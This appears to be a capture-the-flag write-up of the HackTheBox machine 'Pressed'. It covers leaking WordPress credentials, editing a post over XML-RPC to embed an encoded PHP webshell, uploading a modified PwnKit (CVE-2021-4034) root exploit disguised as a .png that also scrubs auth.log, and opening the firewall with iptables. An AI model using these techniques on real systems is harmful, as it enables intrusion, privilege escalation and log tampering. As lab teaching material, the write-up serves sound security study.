Pressed presents a unique attack vector on WordPress, where you have access to admin creds right from the start, but can’t log in because of 2FA. This means it’s time to abuse XML-RPC, the thing that wpscan shows as a vulnerability on every WordPress instance, is rarely useful. I’ll leak the source for the single post on the site, and see that’s it’s using PHPEverywhere to run PHP from within the post. I’ll edit the post to include a webshell. The firewall is blocking outbound traffic, so I can’t get a reverse shell. The box is vulnerable to PwnKit, so I’ll have to modify the exploit to work over the webshell. After leaking the root flag, I’ll go beyond with a Video where I take down the firewall and get a root shell.

Box Info

Name Pressed Pressed
Play on HackTheBox
Release Date 3 Feb 2022
Retire Date 3 Feb 2022
OS Linux Linux
Base Points Hard [40]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creator ippsec



nmap found one open TCP ports, HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2022-01-31 13:09 EST
Nmap scan report for
Host is up (0.093s latency).
Not shown: 65534 filtered ports
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds
oxdf@hacky$ nmap -p 80 -sCV -oA scans/nmap-tcpscripts
\Starting Nmap 7.80 ( ) at 2022-01-31 13:09 EST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for
Host is up (0.095s latency).

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.9
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: UHC Jan Finals – New Month, New Boxes

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 15.76 seconds

Based on the and Apache versions, the host is likely running Ubuntu 20.04 focal.

Website - TCP 80


Like all the UHC boxes, the theme for the site is about the UHC event:


There’s a single post, and clicking on it leads to, which is an interesting URL because having folders after the .php seems weird.

The page itself is presenting a list of User Agent strings, and seem to be updating periodically as I hit the site:


There’s also a comment section at the bottom. If I leave something, it ends up redirecting to pressed.htb and failing there. I’ll add that to my hosts file, and then the comment posts to the site, but says it’s awaiting moderation:


That’s a good indicator that none of the other players will see it. But it doesn’t rule out a moderate seeing it.

Script and image tags seem to be stripped out.

Tech Stack

Looking in Burp at my request history, it’s pretty clear this site is running on WordPress:


This fits the name of the box nicely.


Given the use of WordPress, I’ll tend to look at things like wpscan over a directory brute force. There could be value in it, but typically there’s more value in the scan specific to the framework.

I’ll give it my API which I got for free from the WPScan website, and let it run:

oxdf@hacky$ wpscan --url http://pressed.htb --api-token $WPSCAN_API
[+] XML-RPC seems to be enabled: http://pressed.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%    
 | References:         
 |  -
 |  -
 |  -
 |  -
 |  -
[i] Config Backup(s) Identified:

[!] http://pressed.htb/wp-config.php.bak
 | Found By: Direct Access (Aggressive Detection)

There’s two important bits in here:

  • There’s a backup config found. I’ll want to check that out for sure.
  • The XML-RPC is enabled. Typically this is something I gloss over. It can be brute forced more easily than the web admin login to try to find creds, but this typically isn’t something done on HTB machines. However, if I find a case where I have creds to login but can’t get into the GUI, it could come in handy.


I’ll grab the config with wget, and check it out:

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'admin' );

/** Database password */
define( 'DB_PASSWORD', 'uhc-jan-finals-2021' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */           
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

The only really interesting part is the creds to the database connection.

Webshell as www-data

Verifying Admin Creds

I’ll jump over to /wp-login.php and see if the DB creds work for the admin user:


They don’t:


I’ll note that the password ends in 2021, and it’s now 2022. I’ll try “uhc-jan-finals-2022”, and it work, kind of:


Now there’s a 2FA prompt, and I don’t have the seed.



With valid creds but no access to the admin login, I’ll turn to the XML-RPC interface.

The XMLRPC interface for WordPress is an API for interacting with WordPress outside of the typical GUI. Googling for “WordPress XML-RPC” returns tons of posts about how to disable it, and why it’s a security vulnerability. While this may sound promising for me as I’m trying to hack this box, it actually doesn’t amount to much. The general vulnerabilities are either patched or in the denial of service area, not something useful to HackTheBox / UHC use-cases.

The WordPress site has a list of the typical methods offered via this API. But XMLRPC isn’t specific to WordPress. There are generic methods as well, like listMethods. What’s also interesting is that some methods don’t even require auth!

Manual RPC Calls

I’ll start with the listMethods using the payload from the documentation and curl:

oxdf@hacky$ curl --data "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" http://pressed.htb/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>          

Right away, one jumps out as interesting, htb.get_flag. I’ll try that one:

oxdf@hacky$ curl --data "<methodCall><methodName>htb.get_flag</methodName><params></params></methodCall>" http://pressed.htb/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>

That’s actually the user flag!

I can try something like wp.getPosts, but it fails with a 400 for “Insufficient arguments”:

oxdf@hacky$ curl --data "<methodCall><methodName>wp.getPosts</methodName><params></params></methodCall>" http://pressed.htb/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
          <value><string>Insufficient arguments passed to this XML-RPC method.</string></value>

Looking at the documentation, that one requires a username and password as parameters, and I didn’t give them. It also wants a blog_id, and I’m not sure what that is.


This interface isn’t intended to be interacted with manually, but rather with a client. There are lots of PHP clients out there, but I prefer working in Python, and there is python-wordpress-xmlrpc. After pip install python-wordpress-xmlrpc, I’ll drop into a Python REPL:

oxdf@hacky$ python
Python 3.8.10 (default, Nov 26 2021, 20:14:08) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

This page has a nice example calling GetPosts():

>>> from wordpress_xmlrpc import Client
>>> from wordpress_xmlrpc.methods import posts
>>> client = Client('http://pressed.htb/xmlrpc.php', 'admin', 'uhc-jan-finals-2022')
>>> plist =
>>> plist
[<WordPressPost: b'UHC January Finals Under Way'>]

The resulting object is a (one item long) list of WordPressPost objects. To see what I can get from that object, I’ll run dir on it:

>>> dir(plist[0])
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_def', 'comment_status', 'content', 'custom_fields', 'date', 'date_modified', 'definition', 'excerpt', 'guid', 'id', 'link', 'menu_order', 'mime_type', 'parent_id', 'password', 'ping_status', 'post_format', 'post_status', 'post_type', 'slug', 'sticky', 'struct', 'terms', 'thumbnail', 'title', 'user']

Exploring, there various bits give things like user, password (none), and the link:

>>> plist[0].user
>>> plist[0].password
>>> plist[0].link

Curious to see how it is doing the live updates on the User Agent strings, I’ll grab the content:

>>> plist[0].content
'<!-- wp:paragraph -->\n<p>The UHC January Finals are underway!  After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian.  Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'

This part is interesting:

<!-- wp:php-everywhere-block/php {"code":"JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=","version":"3.0.0"} /-->

Decoding that in CyberChef (both base64 and url) gives a simple PHP block:


It seems it is running this code to generate the table on the site by reading it from this log file.

PHP Everywhere is a WordPress plugin that allows for the running of PHP within WordPress posts. That seems to be what I’m dealing with.

Write Webshell

Because I have access as the admin user, I can do basically anything over this XML-RPC. But with an eye towards being somewhat stealthy (this is a shared instance, and if I were competing in UHC I wouldn’t want to give away my path to other competitors), I’ll modify the post to contain a webshell that only shows up from my IP:


I’ll get the Post instance in Python and modify the content:

>>> mod_post = plist[0]
>>> mod_post.content = '<!-- wp:paragraph -->\n<p>The UHC January Finals are underway!  After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian.  Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"JTNDP3BocCUyMCUwQSUyMCUyMGVjaG8oZmlsZV9nZXRfY29udGVudHMoJy92YXIvd3d3L2h0bWwvb3V0cHV0LmxvZycpKTslMjAlMEElMjAlMjBpZiUyMCgkX1NFUlZFUiU1QidSRU1PVEVfQUREUiclNUQlMjA9PSUyMCcxMC4xMC4xNC42JyklMjAlN0IlMEElMjAlMjAlMjAlMjBzeXN0ZW0oJF9SRVFVRVNUJTVCJ2NtZCclNUQpOyUwQSUyMCUyMCU3RCUyMCUwQT8lM0U=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
>>>, mod_post))

If I refresh that post, it looks the same. But if I add ?cmd=id to the end:



I want a script to more easily interact with the webshell, so I’ll write a quick curl command and wrap that into a bash script to run easily:


curl -d "cmd=$1" -s 'http://pressed.htb/index.php/2022/01/28/hello-world/' |
        awk '/<\/table>/{flag=1;next}/<p><\/p>/{flag=0}flag' |
        sed 's/&#8211;/--/g' | sed 's/&#8212;/---/g' |
        head -n -3

Here’s the process for making that:

Shell as root



When all my attempts to get a reverse shell failed, I turned back to just trying to connect back to my host from Pressed.

There doesn’t seem to be any way to connect back. curl and nc both just hang trying to connect back. Even ping failed:

oxdf@hacky$ ./ 'ping -c 1'
PING ( 56(84) bytes of data.

--- ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

Looks like I’ll need to enumerate the box using the webshell.


I know that UHC likes to show off the current trending vulnerabilities, and PwnKit (CVE-2021-4034) is certainly one of those. Unfortunately, when pkexec was patched for PwnKit, they didn’t change the version number, so there’s no way to tell from the version if it it patched or not. However, I can look at timestamps:

oxdf@hacky$ ./ 'which pkexec'
oxdf@hacky$ ./ 'ls -l /usr/bin/pkexec'
-rwsr-xr-x 1 root root 31032 Jul 14  2021 /usr/bin/pkexec

If this binary was last modified last July, then it’s very unlikely that it’s patched in early 2022.

PwnKit Exploit

POC Exploit

There are a bunch of exploits out there. I went with this one as a shell script that will generate and run the payload. I’ll download the script, and I’ll have to modify it a bit. Since I’m just running from a webshell, I can’t have the result be a root shell. Instead, I’ll have to put the command I want in the script. To test, I’ll run id, putting it in the place of /bin/bash in what’s written to pkwner.c here:

cat > pkwner/pkwner.c <<- EOM
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
  setuid(0); setgid(0);
        seteuid(0); setegid(0);
         "rm -rf 'GCONV_PATH=.' 'pkwner';"
         "cat /var/log/auth.log|grep -v pkwner >/tmp/al;cat /tmp/al >/var/log/auth.log;"


There is a wp.uploadFile method in WordPress XML-RPC which I found the general syntax for here. I couldn’t find it in the docs for the Python client, but it is in the code. There’s also a test for uploading a file, which I can use as a model.

In the same Python terminal I’ve been working out of (with a client already connected), I’ll import media, and then create a data object:

>>> from wordpress_xmlrpc.methods import media
>>> with open('', 'r') as f:
...     script =
>>> data = { 'name': '', 'bits': script, 'type': 'text/plain' }

On sending this, there’s an error:

Traceback (most recent call last):
xmlrpc.client.Fault: <Fault 500: 'Could not write file (Sorry, you are not allowed to upload this file type.).'>

The file type seems like a type issue, so I’ll change it to something I probably can upload, image/png, but I get the same error. I’ll try changing the file extension to .png, and it works:

>>> data = { 'name': 'pkwner.png', 'bits': script, 'type': 'text/plain' }
{'attachment_id': '48', 'date_created_gmt': <DateTime '20220201T23:14:24' at 0x7f25f8bb9a60>, 'parent': 0, 'link': '/wp-content/uploads/2022/02/pkwner.png', 'title': 'pkwner.png', 'caption': '', 'description': '', 'metadata': False, 'type': 'text/plain', 'thumbnail': '/wp-content/uploads/2022/02/pkwner.png', 'id': '48', 'file': 'pkwner.png', 'url': '/wp-content/uploads/2022/02/pkwner.png'}

It’s even nice enough to give me the full path!

POC Success

I can just call bash on that file (even with the .png extension, though I could also move it with the webshell), and it works:

oxdf@hacky$ ./ 'bash /var/www/html/wp-content/uploads/2022/02/pkwner.png'
██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗ 
██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗
██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝
CVE-2021-4034 PoC by Kim Schulz
[+] Setting up environment&#8230;
[+] Build offensive gconv shared module&#8230;
[+] Build mini executor&#8230;
uid=0(root) gid=0(root) groups=0(root),33(www-data)
hello[+] Nice Job

Because it prints out uid=0, that shows it ran as root.

Get Flag

I can remove the image from the server (with the webshell) change the last line in my local copy to cat /root/root.txt, upload it again, and run it to get the flag:

oxdf@hacky$ ./ 'bash /var/www/html/wp-content/uploads/2022/02/pkwner.png'
██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗ 
██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗
██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝
██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗
██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝
CVE-2021-4034 PoC by Kim Schulz
[+] Setting up environment&#8230;
[+] Build offensive gconv shared module&#8230;
[+] Build mini executor&#8230;
hello[+] Nice Job


To get a shell, there are a few things I could try. One idea would be to script a forward shell. I’ve shown this before (though not in a while) in Stratosphere and Scavenger.

I’m going to take a different tact today and enumerate and iptables and poke a hole for myself.

I managed to succeed using these two commands:

iptables -A OUTPUT -p tcp -d -j ACCEPT
iptables -A INPUT -p tcp -s -j ACCEPT

Here’s the video: